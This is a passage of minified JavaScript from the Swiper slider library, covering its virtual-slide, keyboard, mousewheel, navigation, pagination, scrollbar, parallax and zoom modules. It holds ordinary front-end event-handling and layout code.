a=e[s],r=a.getAttribute("data-swiper-slide-index");r&&a.setAttribute("data-swiper-slide-index",parseInt(r,10)+i),t[parseInt(s,10)+i]=a})),s.virtual.cache=t}c(!0),s.slideTo(a,0)},removeSlide:function(e){if(null==e)return;let t=s.activeIndex;if(Array.isArray(e))for(let a=e.length-1;a>=0;a-=1)s.params.virtual.cache&&(delete s.virtual.cache[e[a]],Object.keys(s.virtual.cache).forEach((t=>{t>e&&(s.virtual.cache[t-1]=s.virtual.cache[t],s.virtual.cache[t-1].setAttribute("data-swiper-slide-index",t-1),delete s.virtual.cache[t])}))),s.virtual.slides.splice(e[a],1),e[a]<t&&(t-=1),t=Math.max(t,0);else s.params.virtual.cache&&(delete s.virtual.cache[e],Object.keys(s.virtual.cache).forEach((t=>{t>e&&(s.virtual.cache[t-1]=s.virtual.cache[t],s.virtual.cache[t-1].setAttribute("data-swiper-slide-index",t-1),delete s.virtual.cache[t])}))),s.virtual.slides.splice(e,1),e<t&&(t-=1),t=Math.max(t,0);c(!0),s.slideTo(t,0)},removeAllSlides:function(){s.virtual.slides=[],s.params.virtual.cache&&(s.virtual.cache={}),c(!0),s.slideTo(0,0)},update:c})},function(e){let{swiper:t,extendParams:s,on:i,emit:n}=e;const l=a(),o=r();function d(e){if(!t.enabled)return;const{rtlTranslate:s}=t;let a=e;a.originalEvent&&(a=a.originalEvent);const i=a.keyCode||a.charCode,r=t.params.keyboard.pageUpDown,d=r&&33===i,c=r&&34===i,p=37===i,u=39===i,m=38===i,h=40===i;if(!t.allowSlideNext&&(t.isHorizontal()&&u||t.isVertical()&&h||c))return!1;if(!t.allowSlidePrev&&(t.isHorizontal()&&p||t.isVertical()&&m||d))return!1;if(!(a.shiftKey||a.altKey||a.ctrlKey||a.metaKey||l.activeElement&&l.activeElement.nodeName&&("input"===l.activeElement.nodeName.toLowerCase()||"textarea"===l.activeElement.nodeName.toLowerCase()))){if(t.params.keyboard.onlyInViewport&&(d||c||p||u||m||h)){let e=!1;if(E(t.el,`.${t.params.slideClass}, swiper-slide`).length>0&&0===E(t.el,`.${t.params.slideActiveClass}`).length)return;const a=t.el,i=a.clientWidth,r=a.clientHeight,n=o.innerWidth,l=o.innerHeight,d=w(a);s&&(d.left-=a.scrollLeft);const c=[[d.left,d.top],[d.left+i,d.top],[d.left,d.top+r],[d.left+i,d.top+r]];for(let t=0;t<c.length;t+=1){const s=c[t];if(s[0]>=0&&s[0]<=n&&s[1]>=0&&s[1]<=l){if(0===s[0]&&0===s[1])continue;e=!0}}if(!e)return}t.isHorizontal()?((d||c||p||u)&&(a.preventDefault?a.preventDefault():a.returnValue=!1),((c||u)&&!s||(d||p)&&s)&&t.slideNext(),((d||p)&&!s||(c||u)&&s)&&t.slidePrev()):((d||c||m||h)&&(a.preventDefault?a.preventDefault():a.returnValue=!1),(c||h)&&t.slideNext(),(d||m)&&t.slidePrev()),n("keyPress",i)}}function c(){t.keyboard.enabled||(l.addEventListener("keydown",d),t.keyboard.enabled=!0)}function p(){t.keyboard.enabled&&(l.removeEventListener("keydown",d),t.keyboard.enabled=!1)}t.keyboard={enabled:!1},s({keyboard:{enabled:!1,onlyInViewport:!0,pageUpDown:!0}}),i("init",(()=>{t.params.keyboard.enabled&&c()})),i("destroy",(()=>{t.keyboard.enabled&&p()})),Object.assign(t.keyboard,{enable:c,disable:p})},function(e){let{swiper:t,extendParams:s,on:a,emit:i}=e;const n=r();let d;s({mousewheel:{enabled:!1,releaseOnEdges:!1,invert:!1,forceToAxis:!1,sensitivity:1,eventsTarget:"container",thresholdDelta:null,thresholdTime:null,noMousewheelClass:"swiper-no-mousewheel"}}),t.mousewheel={enabled:!1};let c,p=o();const u=[];function m(){t.enabled&&(t.mouseEntered=!0)}function h(){t.enabled&&(t.mouseEntered=!1)}function f(e){return!(t.params.mousewheel.thresholdDelta&&e.delta<t.params.mousewheel.thresholdDelta)&&(!(t.params.mousewheel.thresholdTime&&o()-p<t.params.mousewheel.thresholdTime)&&(e.delta>=6&&o()-p<60||(e.direction<0?t.isEnd&&!t.params.loop||t.animating||(t.slideNext(),i("scroll",e.raw)):t.isBeginning&&!t.params.loop||t.animating||(t.slidePrev(),i("scroll",e.raw)),p=(new n.Date).getTime(),!1)))}function g(e){let s=e,a=!0;if(!t.enabled)return;if(e.target.closest(`.${t.params.mousewheel.noMousewheelClass}`))return;const r=t.params.mousewheel;t.params.cssMode&&s.preventDefault();let n=t.el;"container"!==t.params.mousewheel.eventsTarget&&(n=document.querySelector(t.params.mousewheel.eventsTarget));const p=n&&n.contains(s.target);if(!t.mouseEntered&&!p&&!r.releaseOnEdges)return!0;s.originalEvent&&(s=s.originalEvent);let m=0;const h=t.rtlTranslate?-1:1,g=function(e){let t=0,s=0,a=0,i=0;return"detail"in e&&(s=e.detail),"wheelDelta"in e&&(s=-e.wheelDelta/120),"wheelDeltaY"in e&&(s=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=s,s=0),a=10*t,i=10*s,"deltaY"in e&&(i=e.deltaY),"deltaX"in e&&(a=e.deltaX),e.shiftKey&&!a&&(a=i,i=0),(a||i)&&e.deltaMode&&(1===e.deltaMode?(a*=40,i*=40):(a*=800,i*=800)),a&&!t&&(t=a<1?-1:1),i&&!s&&(s=i<1?-1:1),{spinX:t,spinY:s,pixelX:a,pixelY:i}}(s);if(r.forceToAxis)if(t.isHorizontal()){if(!(Math.abs(g.pixelX)>Math.abs(g.pixelY)))return!0;m=-g.pixelX*h}else{if(!(Math.abs(g.pixelY)>Math.abs(g.pixelX)))return!0;m=-g.pixelY}else m=Math.abs(g.pixelX)>Math.abs(g.pixelY)?-g.pixelX*h:-g.pixelY;if(0===m)return!0;r.invert&&(m=-m);let v=t.getTranslate()+m*r.sensitivity;if(v>=t.minTranslate()&&(v=t.minTranslate()),v<=t.maxTranslate()&&(v=t.maxTranslate()),a=!!t.params.loop||!(v===t.minTranslate()||v===t.maxTranslate()),a&&t.params.nested&&s.stopPropagation(),t.params.freeMode&&t.params.freeMode.enabled){const e={time:o(),delta:Math.abs(m),direction:Math.sign(m)},a=c&&e.time<c.time+500&&e.delta<=c.delta&&e.direction===c.direction;if(!a){c=void 0;let n=t.getTranslate()+m*r.sensitivity;const o=t.isBeginning,p=t.isEnd;if(n>=t.minTranslate()&&(n=t.minTranslate()),n<=t.maxTranslate()&&(n=t.maxTranslate()),t.setTransition(0),t.setTranslate(n),t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses(),(!o&&t.isBeginning||!p&&t.isEnd)&&t.updateSlidesClasses(),t.params.loop&&t.loopFix({direction:e.direction<0?"next":"prev",byMousewheel:!0}),t.params.freeMode.sticky){clearTimeout(d),d=void 0,u.length>=15&&u.shift();const s=u.length?u[u.length-1]:void 0,a=u[0];if(u.push(e),s&&(e.delta>s.delta||e.direction!==s.direction))u.splice(0);else if(u.length>=15&&e.time-a.time<500&&a.delta-e.delta>=1&&e.delta<=6){const s=m>0?.8:.2;c=e,u.splice(0),d=l((()=>{t.slideToClosest(t.params.speed,!0,void 0,s)}),0)}d||(d=l((()=>{c=e,u.splice(0),t.slideToClosest(t.params.speed,!0,void 0,.5)}),500))}if(a||i("scroll",s),t.params.autoplay&&t.params.autoplayDisableOnInteraction&&t.autoplay.stop(),r.releaseOnEdges&&(n===t.minTranslate()||n===t.maxTranslate()))return!0}}else{const s={time:o(),delta:Math.abs(m),direction:Math.sign(m),raw:e};u.length>=2&&u.shift();const a=u.length?u[u.length-1]:void 0;if(u.push(s),a?(s.direction!==a.direction||s.delta>a.delta||s.time>a.time+150)&&f(s):f(s),function(e){const s=t.params.mousewheel;if(e.direction<0){if(t.isEnd&&!t.params.loop&&s.releaseOnEdges)return!0}else if(t.isBeginning&&!t.params.loop&&s.releaseOnEdges)return!0;return!1}(s))return!0}return s.preventDefault?s.preventDefault():s.returnValue=!1,!1}function v(e){let s=t.el;"container"!==t.params.mousewheel.eventsTarget&&(s=document.querySelector(t.params.mousewheel.eventsTarget)),s[e]("mouseenter",m),s[e]("mouseleave",h),s[e]("wheel",g)}function w(){return t.params.cssMode?(t.wrapperEl.removeEventListener("wheel",g),!0):!t.mousewheel.enabled&&(v("addEventListener"),t.mousewheel.enabled=!0,!0)}function b(){return t.params.cssMode?(t.wrapperEl.addEventListener(event,g),!0):!!t.mousewheel.enabled&&(v("removeEventListener"),t.mousewheel.enabled=!1,!0)}a("init",(()=>{!t.params.mousewheel.enabled&&t.params.cssMode&&b(),t.params.mousewheel.enabled&&w()})),a("destroy",(()=>{t.params.cssMode&&w(),t.mousewheel.enabled&&b()})),Object.assign(t.mousewheel,{enable:w,disable:b})},function(e){let{swiper:t,extendParams:s,on:a,emit:i}=e;s({navigation:{nextEl:null,prevEl:null,hideOnClick:!1,disabledClass:"swiper-button-disabled",hiddenClass:"swiper-button-hidden",lockClass:"swiper-button-lock",navigationDisabledClass:"swiper-navigation-disabled"}}),t.navigation={nextEl:null,prevEl:null};const r=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function n(e){let s;return e&&"string"==typeof e&&t.isElement&&(s=t.el.querySelector(e),s)?s:(e&&("string"==typeof e&&(s=[...document.querySelectorAll(e)]),t.params.uniqueNavElements&&"string"==typeof e&&s.length>1&&1===t.el.querySelectorAll(e).length&&(s=t.el.querySelector(e))),e&&!s?e:s)}function l(e,s){const a=t.params.navigation;(e=r(e)).forEach((e=>{e&&(e.classList[s?"add":"remove"](...a.disabledClass.split(" ")),"BUTTON"===e.tagName&&(e.disabled=s),t.params.watchOverflow&&t.enabled&&e.classList[t.isLocked?"add":"remove"](a.lockClass))}))}function o(){const{nextEl:e,prevEl:s}=t.navigation;if(t.params.loop)return l(s,!1),void l(e,!1);l(s,t.isBeginning&&!t.params.rewind),l(e,t.isEnd&&!t.params.rewind)}function d(e){e.preventDefault(),(!t.isBeginning||t.params.loop||t.params.rewind)&&(t.slidePrev(),i("navigationPrev"))}function c(e){e.preventDefault(),(!t.isEnd||t.params.loop||t.params.rewind)&&(t.slideNext(),i("navigationNext"))}function p(){const e=t.params.navigation;if(t.params.navigation=te(t,t.originalParams.navigation,t.params.navigation,{nextEl:"swiper-button-next",prevEl:"swiper-button-prev"}),!e.nextEl&&!e.prevEl)return;let s=n(e.nextEl),a=n(e.prevEl);Object.assign(t.navigation,{nextEl:s,prevEl:a}),s=r(s),a=r(a);const i=(s,a)=>{s&&s.addEventListener("click","next"===a?c:d),!t.enabled&&s&&s.classList.add(...e.lockClass.split(" "))};s.forEach((e=>i(e,"next"))),a.forEach((e=>i(e,"prev")))}function u(){let{nextEl:e,prevEl:s}=t.navigation;e=r(e),s=r(s);const a=(e,s)=>{e.removeEventListener("click","next"===s?c:d),e.classList.remove(...t.params.navigation.disabledClass.split(" "))};e.forEach((e=>a(e,"next"))),s.forEach((e=>a(e,"prev")))}a("init",(()=>{!1===t.params.navigation.enabled?m():(p(),o())})),a("toEdge fromEdge lock unlock",(()=>{o()})),a("destroy",(()=>{u()})),a("enable disable",(()=>{let{nextEl:e,prevEl:s}=t.navigation;e=r(e),s=r(s),t.enabled?o():[...e,...s].filter((e=>!!e)).forEach((e=>e.classList.add(t.params.navigation.lockClass)))})),a("click",((e,s)=>{let{nextEl:a,prevEl:n}=t.navigation;a=r(a),n=r(n);const l=s.target;if(t.params.navigation.hideOnClick&&!n.includes(l)&&!a.includes(l)){if(t.pagination&&t.params.pagination&&t.params.pagination.clickable&&(t.pagination.el===l||t.pagination.el.contains(l)))return;let e;a.length?e=a[0].classList.contains(t.params.navigation.hiddenClass):n.length&&(e=n[0].classList.contains(t.params.navigation.hiddenClass)),i(!0===e?"navigationShow":"navigationHide"),[...a,...n].filter((e=>!!e)).forEach((e=>e.classList.toggle(t.params.navigation.hiddenClass)))}}));const m=()=>{t.el.classList.add(...t.params.navigation.navigationDisabledClass.split(" ")),u()};Object.assign(t.navigation,{enable:()=>{t.el.classList.remove(...t.params.navigation.navigationDisabledClass.split(" ")),p(),o()},disable:m,update:o,init:p,destroy:u})},function(e){let{swiper:t,extendParams:s,on:a,emit:i}=e;const r="swiper-pagination";let n;s({pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,formatFractionCurrent:e=>e,formatFractionTotal:e=>e,bulletClass:`${r}-bullet`,bulletActiveClass:`${r}-bullet-active`,modifierClass:`${r}-`,currentClass:`${r}-current`,totalClass:`${r}-total`,hiddenClass:`${r}-hidden`,progressbarFillClass:`${r}-progressbar-fill`,progressbarOppositeClass:`${r}-progressbar-opposite`,clickableClass:`${r}-clickable`,lockClass:`${r}-lock`,horizontalClass:`${r}-horizontal`,verticalClass:`${r}-vertical`,paginationDisabledClass:`${r}-disabled`}}),t.pagination={el:null,bullets:[]};let l=0;const o=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function d(){return!t.params.pagination.el||!t.pagination.el||Array.isArray(t.pagination.el)&&0===t.pagination.el.length}function c(e,s){const{bulletActiveClass:a}=t.params.pagination;e&&(e=e[("prev"===s?"previous":"next")+"ElementSibling"])&&(e.classList.add(`${a}-${s}`),(e=e[("prev"===s?"previous":"next")+"ElementSibling"])&&e.classList.add(`${a}-${s}-${s}`))}function p(e){const s=e.target.closest(se(t.params.pagination.bulletClass));if(!s)return;e.preventDefault();const a=y(s)*t.params.slidesPerGroup;if(t.params.loop){if(t.realIndex===a)return;t.slideToLoop(a)}else t.slideTo(a)}function u(){const e=t.rtl,s=t.params.pagination;if(d())return;let a,r,p=t.pagination.el;p=o(p);const u=t.virtual&&t.params.virtual.enabled?t.virtual.slides.length:t.slides.length,m=t.params.loop?Math.ceil(u/t.params.slidesPerGroup):t.snapGrid.length;if(t.params.loop?(r=t.previousRealIndex||0,a=t.params.slidesPerGroup>1?Math.floor(t.realIndex/t.params.slidesPerGroup):t.realIndex):void 0!==t.snapIndex?(a=t.snapIndex,r=t.previousSnapIndex):(r=t.previousIndex||0,a=t.activeIndex||0),"bullets"===s.type&&t.pagination.bullets&&t.pagination.bullets.length>0){const i=t.pagination.bullets;let o,d,u;if(s.dynamicBullets&&(n=S(i[0],t.isHorizontal()?"width":"height",!0),p.forEach((e=>{e.style[t.isHorizontal()?"width":"height"]=n*(s.dynamicMainBullets+4)+"px"})),s.dynamicMainBullets>1&&void 0!==r&&(l+=a-(r||0),l>s.dynamicMainBullets-1?l=s.dynamicMainBullets-1:l<0&&(l=0)),o=Math.max(a-l,0),d=o+(Math.min(i.length,s.dynamicMainBullets)-1),u=(d+o)/2),i.forEach((e=>{const t=[...["","-next","-next-next","-prev","-prev-prev","-main"].map((e=>`${s.bulletActiveClass}${e}`))].map((e=>"string"==typeof e&&e.includes(" ")?e.split(" "):e)).flat();e.classList.remove(...t)})),p.length>1)i.forEach((e=>{const i=y(e);i===a?e.classList.add(...s.bulletActiveClass.split(" ")):t.isElement&&e.setAttribute("part","bullet"),s.dynamicBullets&&(i>=o&&i<=d&&e.classList.add(...`${s.bulletActiveClass}-main`.split(" ")),i===o&&c(e,"prev"),i===d&&c(e,"next"))}));else{const e=i[a];if(e&&e.classList.add(...s.bulletActiveClass.split(" ")),t.isElement&&i.forEach(((e,t)=>{e.setAttribute("part",t===a?"bullet-active":"bullet")})),s.dynamicBullets){const e=i[o],t=i[d];for(let e=o;e<=d;e+=1)i[e]&&i[e].classList.add(...`${s.bulletActiveClass}-main`.split(" "));c(e,"prev"),c(t,"next")}}if(s.dynamicBullets){const a=Math.min(i.length,s.dynamicMainBullets+4),r=(n*a-n)/2-u*n,l=e?"right":"left";i.forEach((e=>{e.style[t.isHorizontal()?l:"top"]=`${r}px`}))}}p.forEach(((e,r)=>{if("fraction"===s.type&&(e.querySelectorAll(se(s.currentClass)).forEach((e=>{e.textContent=s.formatFractionCurrent(a+1)})),e.querySelectorAll(se(s.totalClass)).forEach((e=>{e.textContent=s.formatFractionTotal(m)}))),"progressbar"===s.type){let i;i=s.progressbarOpposite?t.isHorizontal()?"vertical":"horizontal":t.isHorizontal()?"horizontal":"vertical";const r=(a+1)/m;let n=1,l=1;"horizontal"===i?n=r:l=r,e.querySelectorAll(se(s.progressbarFillClass)).forEach((e=>{e.style.transform=`translate3d(0,0,0) scaleX(${n}) scaleY(${l})`,e.style.transitionDuration=`${t.params.speed}ms`}))}"custom"===s.type&&s.renderCustom?(e.innerHTML=s.renderCustom(t,a+1,m),0===r&&i("paginationRender",e)):(0===r&&i("paginationRender",e),i("paginationUpdate",e)),t.params.watchOverflow&&t.enabled&&e.classList[t.isLocked?"add":"remove"](s.lockClass)}))}function m(){const e=t.params.pagination;if(d())return;const s=t.virtual&&t.params.virtual.enabled?t.virtual.slides.length:t.grid&&t.params.grid.rows>1?t.slides.length/Math.ceil(t.params.grid.rows):t.slides.length;let a=t.pagination.el;a=o(a);let r="";if("bullets"===e.type){let a=t.params.loop?Math.ceil(s/t.params.slidesPerGroup):t.snapGrid.length;t.params.freeMode&&t.params.freeMode.enabled&&a>s&&(a=s);for(let s=0;s<a;s+=1)e.renderBullet?r+=e.renderBullet.call(t,s,e.bulletClass):r+=`<${e.bulletElement} ${t.isElement?'part="bullet"':""} class="${e.bulletClass}"></${e.bulletElement}>`}"fraction"===e.type&&(r=e.renderFraction?e.renderFraction.call(t,e.currentClass,e.totalClass):`<span class="${e.currentClass}"></span> / <span class="${e.totalClass}"></span>`),"progressbar"===e.type&&(r=e.renderProgressbar?e.renderProgressbar.call(t,e.progressbarFillClass):`<span class="${e.progressbarFillClass}"></span>`),t.pagination.bullets=[],a.forEach((s=>{"custom"!==e.type&&(s.innerHTML=r||""),"bullets"===e.type&&t.pagination.bullets.push(...s.querySelectorAll(se(e.bulletClass)))})),"custom"!==e.type&&i("paginationRender",a[0])}function h(){t.params.pagination=te(t,t.originalParams.pagination,t.params.pagination,{el:"swiper-pagination"});const e=t.params.pagination;if(!e.el)return;let s;"string"==typeof e.el&&t.isElement&&(s=t.el.querySelector(e.el)),s||"string"!=typeof e.el||(s=[...document.querySelectorAll(e.el)]),s||(s=e.el),s&&0!==s.length&&(t.params.uniqueNavElements&&"string"==typeof e.el&&Array.isArray(s)&&s.length>1&&(s=[...t.el.querySelectorAll(e.el)],s.length>1&&(s=s.filter((e=>E(e,".swiper")[0]===t.el))[0])),Array.isArray(s)&&1===s.length&&(s=s[0]),Object.assign(t.pagination,{el:s}),s=o(s),s.forEach((s=>{"bullets"===e.type&&e.clickable&&s.classList.add(...(e.clickableClass||"").split(" ")),s.classList.add(e.modifierClass+e.type),s.classList.add(t.isHorizontal()?e.horizontalClass:e.verticalClass),"bullets"===e.type&&e.dynamicBullets&&(s.classList.add(`${e.modifierClass}${e.type}-dynamic`),l=0,e.dynamicMainBullets<1&&(e.dynamicMainBullets=1)),"progressbar"===e.type&&e.progressbarOpposite&&s.classList.add(e.progressbarOppositeClass),e.clickable&&s.addEventListener("click",p),t.enabled||s.classList.add(e.lockClass)})))}function f(){const e=t.params.pagination;if(d())return;let s=t.pagination.el;s&&(s=o(s),s.forEach((s=>{s.classList.remove(e.hiddenClass),s.classList.remove(e.modifierClass+e.type),s.classList.remove(t.isHorizontal()?e.horizontalClass:e.verticalClass),e.clickable&&(s.classList.remove(...(e.clickableClass||"").split(" ")),s.removeEventListener("click",p))}))),t.pagination.bullets&&t.pagination.bullets.forEach((t=>t.classList.remove(...e.bulletActiveClass.split(" "))))}a("changeDirection",(()=>{if(!t.pagination||!t.pagination.el)return;const e=t.params.pagination;let{el:s}=t.pagination;s=o(s),s.forEach((s=>{s.classList.remove(e.horizontalClass,e.verticalClass),s.classList.add(t.isHorizontal()?e.horizontalClass:e.verticalClass)}))})),a("init",(()=>{!1===t.params.pagination.enabled?g():(h(),m(),u())})),a("activeIndexChange",(()=>{void 0===t.snapIndex&&u()})),a("snapIndexChange",(()=>{u()})),a("snapGridLengthChange",(()=>{m(),u()})),a("destroy",(()=>{f()})),a("enable disable",(()=>{let{el:e}=t.pagination;e&&(e=o(e),e.forEach((e=>e.classList[t.enabled?"remove":"add"](t.params.pagination.lockClass))))})),a("lock unlock",(()=>{u()})),a("click",((e,s)=>{const a=s.target,r=o(t.pagination.el);if(t.params.pagination.el&&t.params.pagination.hideOnClick&&r&&r.length>0&&!a.classList.contains(t.params.pagination.bulletClass)){if(t.navigation&&(t.navigation.nextEl&&a===t.navigation.nextEl||t.navigation.prevEl&&a===t.navigation.prevEl))return;const e=r[0].classList.contains(t.params.pagination.hiddenClass);i(!0===e?"paginationShow":"paginationHide"),r.forEach((e=>e.classList.toggle(t.params.pagination.hiddenClass)))}}));const g=()=>{t.el.classList.add(t.params.pagination.paginationDisabledClass);let{el:e}=t.pagination;e&&(e=o(e),e.forEach((e=>e.classList.add(t.params.pagination.paginationDisabledClass)))),f()};Object.assign(t.pagination,{enable:()=>{t.el.classList.remove(t.params.pagination.paginationDisabledClass);let{el:e}=t.pagination;e&&(e=o(e),e.forEach((e=>e.classList.remove(t.params.pagination.paginationDisabledClass)))),h(),m(),u()},disable:g,render:m,update:u,init:h,destroy:f})},function(e){let{swiper:t,extendParams:s,on:i,emit:r}=e;const o=a();let d,c,p,u,m=!1,h=null,f=null;function g(){if(!t.params.scrollbar.el||!t.scrollbar.el)return;const{scrollbar:e,rtlTranslate:s}=t,{dragEl:a,el:i}=e,r=t.params.scrollbar,n=t.params.loop?t.progressLoop:t.progress;let l=c,o=(p-c)*n;s?(o=-o,o>0?(l=c-o,o=0):-o+c>p&&(l=p+o)):o<0?(l=c+o,o=0):o+c>p&&(l=p-o),t.isHorizontal()?(a.style.transform=`translate3d(${o}px, 0, 0)`,a.style.width=`${l}px`):(a.style.transform=`translate3d(0px, ${o}px, 0)`,a.style.height=`${l}px`),r.hide&&(clearTimeout(h),i.style.opacity=1,h=setTimeout((()=>{i.style.opacity=0,i.style.transitionDuration="400ms"}),1e3))}function b(){if(!t.params.scrollbar.el||!t.scrollbar.el)return;const{scrollbar:e}=t,{dragEl:s,el:a}=e;s.style.width="",s.style.height="",p=t.isHorizontal()?a.offsetWidth:a.offsetHeight,u=t.size/(t.virtualSize+t.params.slidesOffsetBefore-(t.params.centeredSlides?t.snapGrid[0]:0)),c="auto"===t.params.scrollbar.dragSize?p*u:parseInt(t.params.scrollbar.dragSize,10),t.isHorizontal()?s.style.width=`${c}px`:s.style.height=`${c}px`,a.style.display=u>=1?"none":"",t.params.scrollbar.hide&&(a.style.opacity=0),t.params.watchOverflow&&t.enabled&&e.el.classList[t.isLocked?"add":"remove"](t.params.scrollbar.lockClass)}function y(e){return t.isHorizontal()?e.clientX:e.clientY}function E(e){const{scrollbar:s,rtlTranslate:a}=t,{el:i}=s;let r;r=(y(e)-w(i)[t.isHorizontal()?"left":"top"]-(null!==d?d:c/2))/(p-c),r=Math.max(Math.min(r,1),0),a&&(r=1-r);const n=t.minTranslate()+(t.maxTranslate()-t.minTranslate())*r;t.updateProgress(n),t.setTranslate(n),t.updateActiveIndex(),t.updateSlidesClasses()}function x(e){const s=t.params.scrollbar,{scrollbar:a,wrapperEl:i}=t,{el:n,dragEl:l}=a;m=!0,d=e.target===l?y(e)-e.target.getBoundingClientRect()[t.isHorizontal()?"left":"top"]:null,e.preventDefault(),e.stopPropagation(),i.style.transitionDuration="100ms",l.style.transitionDuration="100ms",E(e),clearTimeout(f),n.style.transitionDuration="0ms",s.hide&&(n.style.opacity=1),t.params.cssMode&&(t.wrapperEl.style["scroll-snap-type"]="none"),r("scrollbarDragStart",e)}function S(e){const{scrollbar:s,wrapperEl:a}=t,{el:i,dragEl:n}=s;m&&(e.preventDefault?e.preventDefault():e.returnValue=!1,E(e),a.style.transitionDuration="0ms",i.style.transitionDuration="0ms",n.style.transitionDuration="0ms",r("scrollbarDragMove",e))}function T(e){const s=t.params.scrollbar,{scrollbar:a,wrapperEl:i}=t,{el:n}=a;m&&(m=!1,t.params.cssMode&&(t.wrapperEl.style["scroll-snap-type"]="",i.style.transitionDuration=""),s.hide&&(clearTimeout(f),f=l((()=>{n.style.opacity=0,n.style.transitionDuration="400ms"}),1e3)),r("scrollbarDragEnd",e),s.snapOnRelease&&t.slideToClosest())}function M(e){const{scrollbar:s,params:a}=t,i=s.el;if(!i)return;const r=i,n=!!a.passiveListeners&&{passive:!1,capture:!1},l=!!a.passiveListeners&&{passive:!0,capture:!1};if(!r)return;const d="on"===e?"addEventListener":"removeEventListener";r[d]("pointerdown",x,n),o[d]("pointermove",S,n),o[d]("pointerup",T,l)}function C(){const{scrollbar:e,el:s}=t;t.params.scrollbar=te(t,t.originalParams.scrollbar,t.params.scrollbar,{el:"swiper-scrollbar"});const a=t.params.scrollbar;if(!a.el)return;let i,r;if("string"==typeof a.el&&t.isElement&&(i=t.el.querySelector(a.el)),i||"string"!=typeof a.el)i||(i=a.el);else if(i=o.querySelectorAll(a.el),!i.length)return;t.params.uniqueNavElements&&"string"==typeof a.el&&i.length>1&&1===s.querySelectorAll(a.el).length&&(i=s.querySelector(a.el)),i.length>0&&(i=i[0]),i.classList.add(t.isHorizontal()?a.horizontalClass:a.verticalClass),i&&(r=i.querySelector(se(t.params.scrollbar.dragClass)),r||(r=v("div",t.params.scrollbar.dragClass),i.append(r))),Object.assign(e,{el:i,dragEl:r}),a.draggable&&t.params.scrollbar.el&&t.scrollbar.el&&M("on"),i&&i.classList[t.enabled?"remove":"add"](...n(t.params.scrollbar.lockClass))}function P(){const e=t.params.scrollbar,s=t.scrollbar.el;s&&s.classList.remove(...n(t.isHorizontal()?e.horizontalClass:e.verticalClass)),t.params.scrollbar.el&&t.scrollbar.el&&M("off")}s({scrollbar:{el:null,dragSize:"auto",hide:!1,draggable:!1,snapOnRelease:!0,lockClass:"swiper-scrollbar-lock",dragClass:"swiper-scrollbar-drag",scrollbarDisabledClass:"swiper-scrollbar-disabled",horizontalClass:"swiper-scrollbar-horizontal",verticalClass:"swiper-scrollbar-vertical"}}),t.scrollbar={el:null,dragEl:null},i("init",(()=>{!1===t.params.scrollbar.enabled?L():(C(),b(),g())})),i("update resize observerUpdate lock unlock",(()=>{b()})),i("setTranslate",(()=>{g()})),i("setTransition",((e,s)=>{!function(e){t.params.scrollbar.el&&t.scrollbar.el&&(t.scrollbar.dragEl.style.transitionDuration=`${e}ms`)}(s)})),i("enable disable",(()=>{const{el:e}=t.scrollbar;e&&e.classList[t.enabled?"remove":"add"](...n(t.params.scrollbar.lockClass))})),i("destroy",(()=>{P()}));const L=()=>{t.el.classList.add(...n(t.params.scrollbar.scrollbarDisabledClass)),t.scrollbar.el&&t.scrollbar.el.classList.add(...n(t.params.scrollbar.scrollbarDisabledClass)),P()};Object.assign(t.scrollbar,{enable:()=>{t.el.classList.remove(...n(t.params.scrollbar.scrollbarDisabledClass)),t.scrollbar.el&&t.scrollbar.el.classList.remove(...n(t.params.scrollbar.scrollbarDisabledClass)),C(),b(),g()},disable:L,updateSize:b,setTranslate:g,init:C,destroy:P})},function(e){let{swiper:t,extendParams:s,on:a}=e;s({parallax:{enabled:!1}});const i="[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y], [data-swiper-parallax-opacity], [data-swiper-parallax-scale]",r=(e,s)=>{const{rtl:a}=t,i=a?-1:1,r=e.getAttribute("data-swiper-parallax")||"0";let n=e.getAttribute("data-swiper-parallax-x"),l=e.getAttribute("data-swiper-parallax-y");const o=e.getAttribute("data-swiper-parallax-scale"),d=e.getAttribute("data-swiper-parallax-opacity"),c=e.getAttribute("data-swiper-parallax-rotate");if(n||l?(n=n||"0",l=l||"0"):t.isHorizontal()?(n=r,l="0"):(l=r,n="0"),n=n.indexOf("%")>=0?parseInt(n,10)*s*i+"%":n*s*i+"px",l=l.indexOf("%")>=0?parseInt(l,10)*s+"%":l*s+"px",null!=d){const t=d-(d-1)*(1-Math.abs(s));e.style.opacity=t}let p=`translate3d(${n}, ${l}, 0px)`;if(null!=o){p+=` scale(${o-(o-1)*(1-Math.abs(s))})`}if(c&&null!=c){p+=` rotate(${c*s*-1}deg)`}e.style.transform=p},n=()=>{const{el:e,slides:s,progress:a,snapGrid:n,isElement:l}=t,o=f(e,i);t.isElement&&o.push(...f(t.hostEl,i)),o.forEach((e=>{r(e,a)})),s.forEach(((e,s)=>{let l=e.progress;t.params.slidesPerGroup>1&&"auto"!==t.params.slidesPerView&&(l+=Math.ceil(s/2)-a*(n.length-1)),l=Math.min(Math.max(l,-1),1),e.querySelectorAll(`${i}, [data-swiper-parallax-rotate]`).forEach((e=>{r(e,l)}))}))};a("beforeInit",(()=>{t.params.parallax.enabled&&(t.params.watchSlidesProgress=!0,t.originalParams.watchSlidesProgress=!0)})),a("init",(()=>{t.params.parallax.enabled&&n()})),a("setTranslate",(()=>{t.params.parallax.enabled&&n()})),a("setTransition",((e,s)=>{t.params.parallax.enabled&&function(e){void 0===e&&(e=t.params.speed);const{el:s,hostEl:a}=t,r=[...s.querySelectorAll(i)];t.isElement&&r.push(...a.querySelectorAll(i)),r.forEach((t=>{let s=parseInt(t.getAttribute("data-swiper-parallax-duration"),10)||e;0===e&&(s=0),t.style.transitionDuration=`${s}ms`}))}(s)}))},function(e){let{swiper:t,extendParams:s,on:a,emit:i}=e;const n=r();s({zoom:{enabled:!1,maxRatio:3,minRatio:1,toggle:!0,containerClass:"swiper-zoom-container",zoomedSlideClass:"swiper-slide-zoomed"}}),t.zoom={enabled:!1};let l,o,c=1,p=!1;const u=[],m={originX:0,originY:0,slideEl:void 0,slideWidth:void 0,slideHeight:void 0,imageEl:void 0,imageWrapEl:void 0,maxRatio:3},h={isTouched:void 